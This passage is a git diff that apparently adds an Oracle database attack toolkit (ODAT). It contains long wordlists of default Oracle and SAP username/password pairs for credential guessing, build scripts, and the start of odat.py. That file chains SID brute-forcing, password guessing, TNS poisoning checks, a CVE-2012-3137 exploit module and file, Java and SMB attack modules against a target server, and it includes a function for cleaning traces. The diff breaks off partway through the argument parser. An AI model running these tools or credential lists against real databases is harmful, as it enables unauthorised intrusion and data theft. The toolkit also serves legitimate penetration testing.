+BRIO_ADMIN/BRIO_ADMIN +BRUGERNAVN/ADGANGSKODE +BRUKERNAVN/PASSWORD +BSC/BSC +BUG_REPORTS/BUG_REPORTS +CALVIN/HOBBES +CATALOG/CATALOG +CCT/CCT +CDEMO82/CDEMO82 +CDEMO82/CDEMO83 +CDEMO82/UNKNOWN +CDEMOCOR/CDEMOCOR +CDEMORID/CDEMORID +CDEMOUCB/CDEMOUCB +CDOUGLAS/CDOUGLAS +CE/CE +CENTRA/CENTRA +CENTRAL/CENTRAL +CIDS/CIDS +CIS/CIS +CISINFO/CISINFO +CISINFO/ZWERG +CIS/ZWERG +CLARK/CLOTH +CLKANA/ +CLKRT/ +CN/CN +COMPANY/COMPANY +COMPIERE/COMPIERE +CQSCHEMAUSER/PASSWORD +CQUSERDBUSER/PASSWORD +CRP/CRP +CSC/CSC +CS/CS +CSD/CSD +CSE/CSE +CSF/CSF +CSI/CSI +CSL/CSL +CSMIG/CSMIG +CSP/CSP +CSR/CSR +CSS/CSS +CTXDEMO/CTXDEMO +CTXSYS/CHANGE_ON_INSTALL +CTXSYS/CTXSYS +CTXSYS/UNKNOWN +CTXSYS/ +CUA/CUA +CUE/CUE +CUF/CUF +CUG/CUG +CUI/CUI +CUN/CUN +CUP/CUP +CUS/CUS +CZ/CZ +DATA_SCHEMA/LASKJDF098KSDAF09 +DBATEST/DBATEST +DBI/MUMBLEFRATZ +DBSNMP/DBSNMP +DBVISION/DBVISION +DCM/ +DDIC/199220706 +DEMO8/DEMO8 +DEMO9/DEMO9 +DEMO/DEMO +DES2K/DES2K +DES/DES +DEV2000_DEMOS/DEV2000_DEMOS +DIANE/PASSWO1 +DIP/DIP +DISCOVERER5/ +DISCOVERER_ADMIN/DISCOVERER_ADMIN +DMSYS/DMSYS +DPF/DPFPASS +DSGATEWAY/DSGATEWAY +DSGATEWAY/ +DSSYS/DSSYS +DTSP/DTSP +EAA/EAA +EAM/EAM +EARLYWATCH/SUPPORT +EAST/EAST +EC/EC +ECX/ECX +EJB/EJB +EJSADMIN/EJSADMIN +EJSADMIN/EJSADMIN_PASSWORD +EMP/EMP +ENG/ENG +ENI/ENI +ESTOREUSER/ESTORE +EVENT/EVENT +EVM/EVM +EXAMPLE/EXAMPLE +EXFSYS/EXFSYS +EXTDEMO2/EXTDEMO2 +EXTDEMO/EXTDEMO +FA/FA +FEM/FEM +FII/FII +FINANCE/FINANCE +FINPROD/FINPROD +FLM/FLM +FND/FND +FOO/BAR +FPT/FPT +FRM/FRM +FROSTY/SNOWMAN +FTE/FTE +FV/FV +GL/GL +GMA/GMA +GMD/GMD +GME/GME +GMF/GMF +GMI/GMI +GML/GML +GMP/GMP +GMS/GMS +GPFD/GPFD +GPLD/GPLD +GR/GR +HADES/HADES +HCPARK/HCPARK +HLW/HLW +HR/CHANGE_ON_INSTALL +HR/HR +HRI/HRI +HR/UNKNOWN +HR/ +HVST/HVST +HXC/HXC +HXT/HXT +IBA/IBA +IBE/IBE +IBP/IBP +IBU/IBU +IBY/IBY +ICDBOWN/ICDBOWN +ICX/ICX +IDEMO_USER/IDEMO_USER +IEB/IEB +IEC/IEC +IEM/IEM +IEO/IEO +IES/IES +IEU/IEU +IEX/IEX +IFSSYS/IFSSYS +IGC/IGC +IGF/IGF +IGI/IGI +IGS/IGS +IGW/IGW +IMAGEUSER/IMAGEUSER +IMC/IMC +IMEDIA/IMEDIA +IMT/IMT +#INTERNAL/ORACLE +INTERNAL/ORACLE +#INTERNAL/SYS_STNT +INTERNAL/SYS_STNT +INV/INV +IPA/IPA +IPD/IPD +IPLANET/IPLANET +ISC/ISC +ITG/ITG +JA/JA +JAKE/PASSWO4 +JE/JE +JG/JG +JILL/PASSWO2 +JL /JL +JMUSER/JMUSER +JOHN/JOHN +JONES/STEEL +JTF/JTF +JTM/JTM +JTS/JTS +JWARD/AIROPLANE +KWALKER/KWALKER +L2LDEMO/L2LDEMO +LBACSYS/LBACSYS +LIBRARIAN/SHELVES +MANPROD/MANPROD +MARK/PASSWO3 +MASCARM/MANAGER +MASTER/PASSWORD +MDDATA/MDDATA +MDDEMO_CLERK/CLERK +MDDEMO_CLERK/MGR +MDDEMO/MDDEMO +MDDEMO_MGR/MDDEMO_MGR +MDDEMO_MGR/MGR +MDSYS/MDSYS +ME/ME +MFG/MFG +MGR/MGR +MGWUSER/MGWUSER +MIGRATE/MIGRATE +MILLER/MILLER +MMO2/MMO2 +MMO2/MMO3 +MMO2/UNKNOWN +MODTEST/YES +MOREAU/MOREAU +MRP/MRP +MSC/MSC +MSD/MSD +MSO/MSO +MSR/MSR +MTSSYS/MTSSYS +MTS_USER/MTS_PASSWORD +MWA/MWA +MXAGENT/MXAGENT +NAMES/NAMES +NEOTIX_SYS/NEOTIX_SYS +NNEUL/NNEULPASS +NOMEUTENTE/PASSWORD +NOME_UTILIZADOR/SENHA +NOM_UTILISATEUR/MOT_DE_PASSE +NUME_UTILIZATOR/PAROL +OAIHUB902/ +OAS_PUBLIC/OAS_PUBLIC +OAS_PUBLIC/ +OCITEST/OCITEST +OCM_DB_ADMIN/OCM_DB_ADMIN +OCM_DB_ADMIN/ +ODM_MTR/MTRPW +ODM/ODM +ODSCOMMON/ODSCOMMON +ODS/ODS +ODS_SERVER/ODS_SERVER +OE/CHANGE_ON_INSTALL +OEMADM/OEMADM +OEMREP/OEMREP +OEM_REPOSITORY/ +OE/OE +OE/UNKNOWN +OKB/OKB +OKC/OKC +OKE/OKE +OKI/OKI +OKO/OKO +OKR/OKR +OKS/OKS +OKX/OKX +OLAPDBA/OLAPDBA +OLAPSVR/INSTANCE +OLAPSVR/OLAPSVR +OLAPSYS/MANAGER +OLAPSYS/OLAPSYS +OMWB_EMULATION/ORACLE +ONT/ONT +OO/OO +OPENSPIRIT/OPENSPIRIT +OPI/OPI +ORACACHE/ORACACHE +ORACACHE/ +ORACLE/ORACLE +ORACLE_OCM/ORACLE_OCM +ORADBA/ORADBAPASS +ORANGE/ +ORAPROBE/ORAPROBE +ORAREGSYS/ORAREGSYS +ORASSO_DS/ORASSO_DS +ORASSO/ORASSO +ORASSO_PA/ORASSO_PA +ORASSO_PS/ORASSO_PS +ORASSO_PUBLIC/ORASSO_PUBLIC +ORASTAT/ORASTAT +ORCLADMIN/WELCOME +ORDCOMMON/ORDCOMMON +ORDPLUGINS/ORDPLUGINS +ORDSYS/ORDSYS +OSE$HTTP$ADMIN/INVALID +OSE$HTTP$ADMIN/Invalid password +OSM/OSM +OSP22/OSP22 +OSSAQ_HOST/ +OSSAQ_PUB/ +OSSAQ_SUB/ +OTA/OTA +OUTLN/OUTLN +OWA/OWA +OWA_PUBLIC/OWA_PUBLIC +OWF_MGR/OWF_MGR +OWF_MGR/ +OWNER/OWNER +OZF/OZF +OZP/OZP +OZS/OZS +PANAMA/PANAMA +PA/PA +PATROL/PATROL +PAUL/PAUL +PERFSTAT/PERFSTAT +PERSTAT/PERSTAT +PJM/PJM +PLANNING/PLANNING +PLEX/PLEX +PLSQL/SUPERSECRET +PM/CHANGE_ON_INSTALL +PMI/PMI +PM/PM +PM/UNKNOWN +PN/PN +PO7/PO7 +PO8/PO8 +POA/POA +POM/POM +PO/PO +PORTAL30_ADMIN/PORTAL30_ADMIN +PORTAL30_DEMO/PORTAL30_DEMO +PORTAL30/PORTAL30 +PORTAL30/PORTAL31 +PORTAL30_PS/PORTAL30_PS +PORTAL30_PUBLIC/PORTAL30_PUBLIC +PORTAL30_SSO_ADMIN/PORTAL30_SSO_ADMIN +PORTAL30_SSO/PORTAL30_SSO +PORTAL30_SSO_PS/PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC/PORTAL30_SSO_PUBLIC +PORTAL_APP/ +PORTAL_DEMO/PORTAL_DEMO +PORTAL_DEMO/ +PORTAL_PUBLIC/ +PORTAL_SSO_PS/PORTAL_SSO_PS +PORTAL/ +POS/POS +POWERCARTUSER/POWERCARTUSER +PRIMARY/PRIMARY +PSA/PSA +PSB/PSB +PSP/PSP +PUBSUB1/PUBSUB1 +PUBSUB/PUBSUB +PV/PV +QA/QA +QDBA/QDBA +QP/QP +QS_ADM/CHANGE_ON_INSTALL +QS_ADM/QS_ADM +QS_ADM/UNKNOWN +QS_CBADM/CHANGE_ON_INSTALL +QS_CBADM/QS_CBADM +QS_CBADM/UNKNOWN +QS_CB/CHANGE_ON_INSTALL +QS_CB/QS_CB +QS_CB/UNKNOWN +QS/CHANGE_ON_INSTALL +QS_CS/CHANGE_ON_INSTALL +QS_CS/QS_CS +QS_CS/UNKNOWN +QS_ES/CHANGE_ON_INSTALL +QS_ES/QS_ES +QS_ES/UNKNOWN +QS_OS/CHANGE_ON_INSTALL +QS_OS/QS_OS +QS_OS/UNKNOWN +QS/QS +QS/UNKNOWN +QS_WS/CHANGE_ON_INSTALL +QS_WS/QS_WS +QS_WS/UNKNOWN +REPADMIN/REPADMIN +REP_MANAGER/DEMO +REPORTS/REPORTS +REPORTS_USER/OEM_TEMP +REP_OWNER/DEMO +REP_OWNER/REP_OWNER +REP_USER/DEMO +RE/RE +RG/RG +RHX/RHX +RLA/RLA +RLM/RLM +RMAIL/RMAIL +RMAN/RMAN +ROOT/ROOT +RRS/RRS +SAMPLE/SAMPLE +SAP/06071992 +SAPR3/SAP +SAP/SAPR3 +SCOTT/TIGER +SCOTT/TIGGER +SDOS_ICSAP/SDOS_ICSAP +SECDEMO/SECDEMO +SERVICECONSUMER1/SERVICECONSUMER1 +SH/CHANGE_ON_INSTALL +SH/SH +SH/UNKNOWN +SI_INFORMTN_SCHEMA/SI_INFORMTN_SCHEMA +SITEMINDER/SITEMINDER +SLIDE/SLIDEPW +SPIERSON/SPIERSON +SSP/SSP +STARTER/STARTER +STRAT_USER/STRAT_PASSWD +SWPRO/SWPRO +SWUSER/SWUSER +SYMPA/SYMPA +SYS/0RACL3 +SYS/0RACL38 +SYS/0RACL38I +SYS/0RACL39 +SYS/0RACL39I +SYS/0RACLE +SYS/0RACLE8 +SYS/0RACLE8I +SYS/0RACLE9 +SYS/0RACLE9I +SYSADMIN/SYSADMIN +SYSADMIN/ +SYSADM/SYSADM +SYS/CHANGE_ON_INSTALL +SYS/D_SYSPW +SYS/MANAG3R +SYS/MANAGER +SYSMAN/OEM_TEMP +SYSMAN/SYSMAN +SYS/ORACL3 +SYS/ORACLE +SYS/ORACLE8 +SYS/ORACLE8I +SYS/ORACLE9 +SYS/ORACLE9I +SYS/SYS +SYS/SYSPASS +SYSTEM/0RACL3 +SYSTEM/0RACL38 +SYSTEM/0RACL38I +SYSTEM/0RACL39 +SYSTEM/0RACL39I +SYSTEM/0RACLE +SYSTEM/0RACLE8 +SYSTEM/0RACLE8I +SYSTEM/0RACLE9 +SYSTEM/0RACLE9I +SYSTEM/CHANGE_ON_INSTALL +SYSTEM/D_SYSPW +SYSTEM/D_SYSTPW +SYSTEM/MANAG3R +SYSTEM/MANAGER +SYSTEM/ORACL3 +SYSTEM/ORACLE +SYSTEM/ORACLE8 +SYSTEM/ORACLE8I +SYSTEM/ORACLE9 +SYSTEM/ORACLE9I +SYSTEM/SYSTEM +SYSTEM/SYSTEMPASS +SYSTEM/welcome1 +SYSTEM/oracle +TAHITI/TAHITI +TALBOT/MT6CH5 +TDOS_ICSAP/TDOS_ICSAP +TEC/TECTEC +TEST/PASSWD +TESTPILOT/TESTPILOT +TEST/TEST +TEST_USER/TEST_USER +THINSAMPLE/THINSAMPLEPW +TIBCO/TIBCO +TIP37/TIP37 +TRACESVR/TRACE +TRAVEL/TRAVEL +TSDEV/TSDEV +TSUSER/TSUSER +TURBINE/TURBINE +UDDISYS/ +ULTIMATE/ULTIMATE +UM_ADMIN/UM_ADMIN +UM_CLIENT/UM_CLIENT +USER0/USER0 +USER1/USER1 +USER2/USER2 +USER3/USER3 +USER4/USER4 +USER5/USER5 +USER6/USER6 +USER7/USER7 +USER8/USER8 +USER9/USER9 +USER_NAME/PASSWORD +USER/USER +USUARIO/CLAVE +UTILITY/UTILITY +UTLBSTATU/UTLESTAT +VEA/VEA +VEH/VEH +VERTEX_LOGIN/VERTEX_LOGIN +VIDEOUSER/VIDEOUSER +VIF_DEVELOPER/VIF_DEV_PWD +VIRUSER/VIRUSER +VPD_ADMIN/AKF7D98S2 +VRR1/UNKNOWN +VRR1/VRR1 +VRR1/VRR2 +WEBCAL01/WEBCAL01 +WEBDB/WEBDB +WEBREAD/WEBREAD +WEBSYS/MANAGER +WEBUSER/YOUR_PASS +WEST/WEST +WFADMIN/WFADMIN +WH/WH +WIP/WIP +WIRELESS/ +WKADMIN/WKADMIN +WKPROXY/CHANGE_ON_INSTALL +WK_PROXY/ +WKPROXY/UNKNOWN +WKPROXY/WKPROXY +WKSYS/CHANGE_ON_INSTALL +WK_SYS/ +WKSYS/WKSYS +WK_TEST/WK_TEST +WKUSER/WKUSER +WMS/WMS +WMSYS/WMSYS +WOB/WOB +WPS/WPS +WSH/WSH +WSM/WSM +WWWUSER/WWWUSER +WWW/WWW +XADEMO/XADEMO +XDB/CHANGE_ON_INSTALL +XDB/XDB +XDP/XDP +XLA/XLA +XNC/XNC +XNI/XNI +XNM/XNM +XNP/XNP +XNS/XNS +XPRT/XPRT +XTR/XTR +SYS/oracle diff --git a/accounts/accounts_small.txt b/accounts/accounts_small.txt new file mode 100644 index 0000000..4c56ac5 --- /dev/null +++ b/accounts/accounts_small.txt @@ -0,0 +1,131 @@ +ANONYMOUS/ANONYMOUS +APPLSYS/APPLSYS +APPS/APPS +AQ/AQ +AQDEMO/AQDEMO +AQJAVA/AQJAVA +AQUSER/AQUSER +AR/AR +ASP/ASP +BRIO_ADMIN/BRIO_ADMIN +BSC/BSC +CCT/CCT +CENTRAL/CENTRAL +CN/CN +CTXSYS/CTXSYS +DBI/MUMBLEFRATZ +DBSNMP/DBSNMP +DEV2000_DEMOS/DEV2000_DEMOS +DIP/DIP +DMSYS/DMSYS +DSSYS/DSSYS +DTSP/DTSP +ESTOREUSER/ESTORE +EVENT/EVENT +EVM/EVM +EXFSYS/EXFSYS +FA/FA +FINPROD/FINPROD +FRM/FRM +FROSTY/SNOWMAN +FTE/FTE +HXT/HXT +JOHN/JOHN +JONES/STEEL +LIBRARIAN/SHELVES +MGR/MGR +MGWUSER/MGWUSER +MIGRATE/MIGRATE +MILLER/MILLER +MOREAU/MOREAU +OCM_DB_ADMIN/ +ODM_MTR/MTRPW +ODM/ODM +ODSCOMMON/ODSCOMMON +ODS/ODS +ODS_SERVER/ODS_SERVER +OE/CHANGE_ON_INSTALL +OE/OE +OPI/OPI +ORACACHE/ORACACHE +ORACACHE/ +ORACLE/ORACLE +ORACLE_OCM/ORACLE_OCM +ORADBA/ORADBAPASS +OTA/OTA +OUTLN/OUTLN +OWA/OWA +OWA_PUBLIC/OWA_PUBLIC +OWF_MGR/OWF_MGR +OWF_MGR/ +OWNER/OWNER +PATROL/PATROL +PAUL/PAUL +PERFSTAT/PERFSTAT +PERSTAT/PERSTAT +PJM/PJM +PLANNING/PLANNING +PLEX/PLEX +PLSQL/SUPERSECRET +PM/CHANGE_ON_INSTALL +ROOT/ROOT +RRS/RRS +SAMPLE/SAMPLE +SAP/06071992 +SAPR3/SAP +SAP/SAPR3 +SCOTT/TIGER +SCOTT/TIGGER +SDOS_ICSAP/SDOS_ICSAP +SECDEMO/SECDEMO +SERVICECONSUMER1/SERVICECONSUMER1 +SH/CHANGE_ON_INSTALL +SH/SH +SH/UNKNOWN +SPIERSON/SPIERSON +SSP/SSP +SWUSER/SWUSER +SYMPA/SYMPA +SYSADMIN/SYSADMIN +SYSADMIN/ +SYSADM/SYSADM +SYSMAN/OEM_TEMP +SYSMAN/SYSMAN +SYS/SYS +SYSTEM/ORACLE8I +SYSTEM/ORACLE9 +SYSTEM/ORACLE9I +SYSTEM/SYSTEM +SYSTEM/SYSTEMPASS +TDOS_ICSAP/TDOS_ICSAP +TIBCO/TIBCO +TRACESVR/TRACE +TSUSER/TSUSER +UDDISYS/ +ULTIMATE/ULTIMATE +UM_ADMIN/UM_ADMIN +UM_CLIENT/UM_CLIENT +USER_NAME/PASSWORD +WEBSYS/MANAGER +WEBUSER/YOUR_PASS +WEST/WEST +WFADMIN/WFADMIN +WH/WH +WPS/WPS +WSH/WSH +WSM/WSM +WWWUSER/WWWUSER +WWW/WWW +XADEMO/XADEMO +XDB/CHANGE_ON_INSTALL +XDB/XDB +XDP/XDP +XLA/XLA +XNC/XNC +XNI/XNI +XNM/XNM +XNP/XNP +XNS/XNS +XPRT/XPRT +XTR/XTR +SYS/oracle diff --git a/createALinuxBinary.sh b/createALinuxBinary.sh new file mode 100755 index 0000000..05224a7 --- /dev/null +++ b/createALinuxBinary.sh @@ -0,0 +1,32 @@ +#/bin/bash +GLIBC_VERSION=`ldd --version | grep ldd | grep -o ')[^"]*' | sed "s/) //g"` +VERSION="libc$GLIBC_VERSION-`uname -m`" +PYINSTALLER="/usr/local/bin/pyinstaller" #or "/opt/python2.7.8/bin/pyinstaller" +#Creation +if which $PYINSTALLER >/dev/null; then + echo "Pyinstaller has been found: good news :)" +else + echo "Pyinstaller not found, stop!" + exit 0 +fi +mkdir -p ./build/linux/ +$PYINSTALLER --clean --onedir --noconfirm --distpath="./build/linux/" --workpath="./build/" --name="odat-$VERSION" odat.py --additional-hooks-dir='/usr/lib/python2.7/dist-packages/scapy/layers/' --strip +#Add a librarie manually +cp "$ORACLE_HOME"/lib/libociei.so ./build/linux/odat-$VERSION/libociei.so +#Required files +cp -R accounts/ ./build/linux/odat-$VERSION/accounts +cp sids.txt ./build/linux/odat-$VERSION/sids.txt +chmod a+x ./build/linux/odat-$VERSION/libociei.so +#Suppression des traces +rm -R build/odat-$VERSION/ +#Compress directory +cd ./build/linux/ +ls -l +export GZIP=-9 +tar -cvzf "./odat-linux-$VERSION.tar.gz" ./odat-$VERSION/ +read -p "Do you want delete no compressed data (Y or y for yes)? " -n 1 -r +echo +if [[ $REPLY =~ ^[Yy]$ ]] +then +rm -r ./odat-$VERSION/ +fi diff --git a/odat-libc2.19-x86_64.spec b/odat-libc2.19-x86_64.spec new file mode 100644 index 0000000..e59e9dc --- /dev/null +++ b/odat-libc2.19-x86_64.spec @@ -0,0 +1,28 @@ +# -*- mode: python -*- + +block_cipher = None + + +a = Analysis(['odat.py'], + pathex=['/home/bobsecurity/odat'], + hiddenimports=[], + hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], + runtime_hooks=None, + cipher=block_cipher) +pyz = PYZ(a.pure, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + exclude_binaries=True, + name='odat-libc2.19-x86_64', + debug=False, + strip=True, + upx=True, + console=True ) +coll = COLLECT(exe, + a.binaries, + a.zipfiles, + a.datas, + strip=True, + upx=True, + name='odat-libc2.19-x86_64') diff --git a/odat.py b/odat.py new file mode 100755 index 0000000..1a48c5d --- /dev/null +++ b/odat.py @@ -0,0 +1,457 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +#PYTHON_ARGCOMPLETE_OK +try: + import argcomplete + ARGCOMPLETE_AVAILABLE = True +except ImportError: + ARGCOMPLETE_AVAILABLE = False +#PYTHON_COLORLOG_OK +try: + from colorlog import ColoredFormatter + COLORLOG_AVAILABLE = True +except ImportError: + COLORLOG_AVAILABLE = False + +import argparse, logging, platform, cx_Oracle, string, os, sys +from Utils import areEquals, configureLogging,ErrorSQLRequest, sidHasBeenGiven, anAccountIsGiven, ipOrNameServerHasBeenGiven +from sys import exit,stdout + +from Constants import * +from Output import Output +from Tnscmd import runTnsCmdModule, runCheckTNSPoisoning +from UtlFile import UtlFile, runUtlFileModule +from DbmsAdvisor import DbmsAdvisor,runDbmsadvisorModule +from DbmsScheduler import DbmsScheduler,runDbmsSchedulerModule +from UtlHttp import UtlHttp,runUtlHttpModule +from HttpUriType import HttpUriType,runHttpUriTypeModule +from Java import Java,runjavaModule +from Info import Info +from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule +from SIDGuesser import SIDGuesser, runSIDGuesserModule +from SMB import SMB, runSMBModule +from Ctxsys import Ctxsys,runCtxsysModule +from Passwords import Passwords,runPasswordsModule +from DbmsXslprocessor import DbmsXslprocessor,runDbmsXslprocessorModule +from ExternalTable import ExternalTable,runExternalTableModule +from UtlTcp import UtlTcp,runUtlTcpModule +from DbmsLob import DbmsLob,runDbmsLob +from CVE_2012_3137 import CVE_2012_3137,runCVE20123137Module +from Oradbg import Oradbg,runOradbgModule +from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword +from Search import runSearchModule +from Unwrapper import runUnwrapperModule + +def runClean (args): + ''' + Clean traces and logs + ''' + nbFileDeleted, nbFileToDelete = 0, 0 + exts=(PASSWORD_EXTENSION_FILE,CHALLENGE_EXT_FILE) + pathOfOdat = os.path.dirname(os.path.abspath(__file__)) + for root, dirs, files in os.walk(pathOfOdat): + for currentFile in files: + logging.debug("Processing file: {0}".format(currentFile)) + if any(currentFile.lower().endswith(ext) for ext in exts): + rep = raw_input("Do you want to delete this file (Y for yes): {0}/{1}? ".format(root, currentFile)) + if rep.replace('\n','') == 'Y' : + os.remove(os.path.join(root, currentFile)) + logging.info("Removing {0}/{1}".format(root, currentFile)) + nbFileDeleted += 1 + nbFileToDelete += 1 + args['print'].goodNews("Finish: {0}/{1} file(s) deleted".format(nbFileDeleted, nbFileToDelete)) + +def runAllModules(args): + ''' + Run all modules + ''' + connectionInformation, validSIDsList = {}, [] + #0)TNS Poinsoning + if args['no-tns-poisoning-check'] == False: + runCheckTNSPoisoning(args) + else: + logging.info("Don't check if the target is vulnerable to TNS poisoning because the option --no-tns-poisoning-check is enabled in command line") + #A)SID MANAGEMENT + if args['sid'] == None : + logging.debug("Searching valid SIDs") + validSIDsList = runSIDGuesserModule(args) + args['user'], args['password'] = None, None + else : + validSIDsList = [args['sid']] + #B)ACCOUNT MANAGEMENT + if args['credentialsFile'] == True : + logging.debug("Loading credentials stored in the {0} file".format(args['accounts-file'])) + #Load accounts from file + passwordGuesser = PasswordGuesser(args, args['accounts-file']) + validAccountsList = passwordGuesser.getAccountsFromFile() + for aSid in validSIDsList: + for anAccount in validAccountsList: + if connectionInformation.has_key(aSid) == False: connectionInformation[aSid] = [[anAccount[0], anAccount[1]]] + else : connectionInformation[aSid].append([anAccount[0], anAccount[1]]) + elif args['user'] == None and args['password'] == None: + for sid in validSIDsList: + args['print'].title("Searching valid accounts on the {0} SID".format(sid)) + args['sid'] = sid + passwordGuesser = PasswordGuesser(args,args['accounts-file']) + passwordGuesser.searchValideAccounts() + validAccountsList = passwordGuesser.valideAccounts + if validAccountsList == {}: + args['print'].badNews("No found a valid account on {0}:{1}/{2}".format(args['server'], args['port'], args['sid'])) + exit(EXIT_NO_ACCOUNTS) + else : + args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],validAccountsList)) + for aLogin, aPassword in validAccountsList.items(): + if connectionInformation.has_key(sid) == False: connectionInformation[sid] = [[aLogin,aPassword]] + else : connectionInformation[sid].append([aLogin,aPassword]) + else: + validAccountsList = {args['user']:args['password']} + for aSid in validSIDsList: + for aLogin, aPassword in validAccountsList.items(): + if connectionInformation.has_key(aSid) == False: connectionInformation[aSid] = [[aLogin,aPassword]] + else : connectionInformation[aSid].append([aLogin,aPassword]) + #C)ALL OTHERS MODULES + if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + #elif anAccountIsGiven(args) == False : return EXIT_MISS_ARGUMENT + for aSid in connectionInformation.keys(): + for loginAndPass in connectionInformation[aSid]: + args['sid'] , args['user'], args['password'] = aSid, loginAndPass[0],loginAndPass[1] + args['print'].title("Testing all modules on the {0} SID with the {1}/{2} account".format(args['sid'],args['user'],args['password'])) + #INFO ABOUT REMOTE SERVER + info = Info(args) + status = info.connection() + if isinstance(status,Exception): + args['print'].badNews("Impossible to connect to the remote database: {0}".format(str(status).replace('\n',''))) + break + info.loadInformationRemoteDatabase() + args['info'] = info + #UTL_HTTP + utlHttp = UtlHttp(args) + status = utlHttp.connection() + utlHttp.testAll() + #HTTPURITYPE + httpUriType = HttpUriType(args) + httpUriType.testAll() + #UTL_FILE + utlFile = UtlFile(args) + utlFile.testAll() + #JAVA + java = Java(args) + java.testAll() + #DBMS ADVISOR + dbmsAdvisor = DbmsAdvisor(args) + dbmsAdvisor.testAll() + #DBMS Scheduler + dbmsScheduler = DbmsScheduler(args) + dbmsScheduler.testAll() + #CTXSYS + ctxsys = Ctxsys(args) + ctxsys.testAll() + #Passwords + passwords = Passwords(args) + passwords.testAll() + #DbmsXmldom + dbmsXslprocessor = DbmsXslprocessor(args) + dbmsXslprocessor.testAll() + #External Table + externalTable = ExternalTable(args) + externalTable.testAll() + #Oradbg + oradbg = Oradbg(args) + oradbg.testAll() + #DbmsLob + dbmsLob = DbmsLob(args) + dbmsLob.testAll() + #SMB + smb = SMB(args) + smb.testAll() + smb.close() #Close the socket to the remote database + #CVE_2012_3137 + cve = CVE_2012_3137 (args) + cve.testAll() + #usernamelikepassword + args['run'] = True + runUsernameLikePassword(args) + +def configureLogging(args): + ''' + Configure le logging + ''' + logformatNoColor = "%(asctime)s %(levelname)-3s -: %(message)s" + logformatColor = "%(bg_black)s%(asctime)s%(reset)s %(log_color)s%(levelname)-3s%(reset)s %(bold_black)s-:%(reset)s %(log_color)s%(message)s%(reset)s"#%(bold_black)s%(name)s:%(reset)s + datefmt = "%H:%M:%S" + #Set log level + if args['verbose']==0: level=logging.WARNING + elif args['verbose']==1: level=logging.INFO + elif args['verbose']>=2: level=logging.DEBUG + #Define color for logs + if args['no-color'] == False and COLORLOG_AVAILABLE==True: + formatter = ColoredFormatter(logformatColor, datefmt=datefmt,log_colors={'CRITICAL': 'bold_red', 'ERROR': 'red', 'WARNING': 'yellow'}) + else : + formatter = logging.Formatter(logformatNoColor, datefmt=datefmt) + stream = logging.StreamHandler() + #stream.setLevel(level) + stream.setFormatter(formatter) + root = logging.getLogger() + root.setLevel(level) + root.addHandler(stream) + +def main(): + #Parse Args + parser = argparse.ArgumentParser(description=DESCRIPTION, formatter_class=argparse.RawTextHelpFormatter) + #1- Parent parsers + parser.add_argument('--version', action='version', version=CURRENT_VERSION) + #1.0- Parent parser: optional + PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPoptional._optionals.title = "optional arguments" + PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='enable verbosity (-vv for more)') + PPoptional.add_argument('--sleep', dest='timeSleep', required=False, type=float, default=DEFAULT_TIME_SLEEP, help='time sleep between each test or request (default: %(default)s)') + PPoptional.add_argument('--encoding', dest='encoding', required=False, default=DEFAULT_ENCODING, help='output encoding (default: %(default)s)') + #1.1- Parent parser: connection options + PPconnection = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPconnection._optionals.title = "connection options" + PPconnection.add_argument('-s', dest='server', required=False, help='server') + PPconnection.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') + PPconnection.add_argument('-U', dest='user', required=False, help='Oracle username') + PPconnection.add_argument('-P', dest='password', required=False, default=None, help='Oracle password') + PPconnection.add_argument('-d', dest='sid', required=False, help='Oracle System ID (SID)') + PPconnection.add_argument('--sysdba', dest='SYSDBA', action='store_true', default=False, help='connection as SYSDBA') + PPconnection.add_argument('--sysoper', dest='SYSOPER', action='store_true', default=False, help='connection as SYSOPER') + #1.2- Parent parser: output options + PPoutput = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPoutput._optionals.title = "output configurations" + PPoutput.add_argument('--no-color', dest='no-color', required=False, action='store_true', help='no color for output') + PPoutput.add_argument('--output-file',dest='outputFile',default=None,required=False,help='save results in this file') + #1.3- Parent parser: all option + PPallModule = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPallModule._optionals.title = "all module options" + PPallModule.add_argument('-C', dest='credentialsFile', action='store_true', required=False, default=False, help='use credentials stored in the --accounts-file file (disable -P and -U)') + PPallModule.add_argument('--no-tns-poisoning-check', dest='no-tns-poisoning-check', action='store_true', required=False, default=False, help="don't check if target is vulnreable to TNS poisoning") + #1.3- Parent parser: TNS cmd + PPTnsCmd = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPTnsCmd._optionals.title = "TNS cmd options" + PPTnsCmd.add_argument('--ping', dest='ping', action='store_true', required=False, default=False, help='send a TNS ping command to get alias') + PPTnsCmd.add_argument('--version', dest='version', action='store_true', required=False, default=False, help='send a TNS version command to try to get verion') + PPTnsCmd.add_argument('--status', dest='status', action='store_true', required=False, default=False, help='send a TNS status command to get the status') + PPTnsCmd.add_argument('--tns-poisoning', dest='checkTNSPoisoning', action='store_true', required=False, default=False, help='check if target is vulnerable to TNS Poisoning (CVE-2012-1675)') + #1.3- Parent parser: SID Guesser + PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPsidguesser._optionals.title = "SID guesser options" + PPsidguesser.add_argument('--sids-min-size',dest='sids-min-size',required=False, type=int, default=DEFAULT_SID_MIN_SIZE, help='minimum size of SIDs for the bruteforce (default: %(default)s)') + PPsidguesser.add_argument('--sids-max-size',dest='sids-max-size',required=False, type=int, default=DEFAULT_SID_MAX_SIZE, help='maximum size of SIDs for the bruteforce (default: %(default)s)') + 